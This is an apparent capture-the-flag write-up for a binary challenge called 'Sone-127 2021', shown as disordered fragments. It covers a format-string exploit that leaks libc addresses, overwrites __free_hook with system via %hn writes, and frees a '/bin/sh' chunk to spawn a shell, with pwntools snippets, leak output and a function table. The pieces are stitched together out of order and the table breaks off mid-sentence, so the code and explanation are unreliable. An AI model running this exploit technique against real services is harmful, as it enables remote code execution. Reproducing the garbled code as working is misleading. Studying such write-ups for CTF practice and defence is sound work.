Sone-127 2021 ›

printf(user_input); Using objdump -d sone127d | grep -i printf :

if __name__ == '__main__': main()

def pack_addr(addr): return p64(addr)

io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt

from pwn import *

> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like:

> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell. SONE-127 2021

| Function | Purpose | |----------|---------| | leak_libc | Uses the format‑string to leak a libc address and compute the base. | | write_free_hook | Crafts a two‑write %hn payload that stores system at __free_hook . | | get_shell | Uploads a chunk containing /bin/sh and then frees it, invoking system . | | main | Orchestrates the steps and drops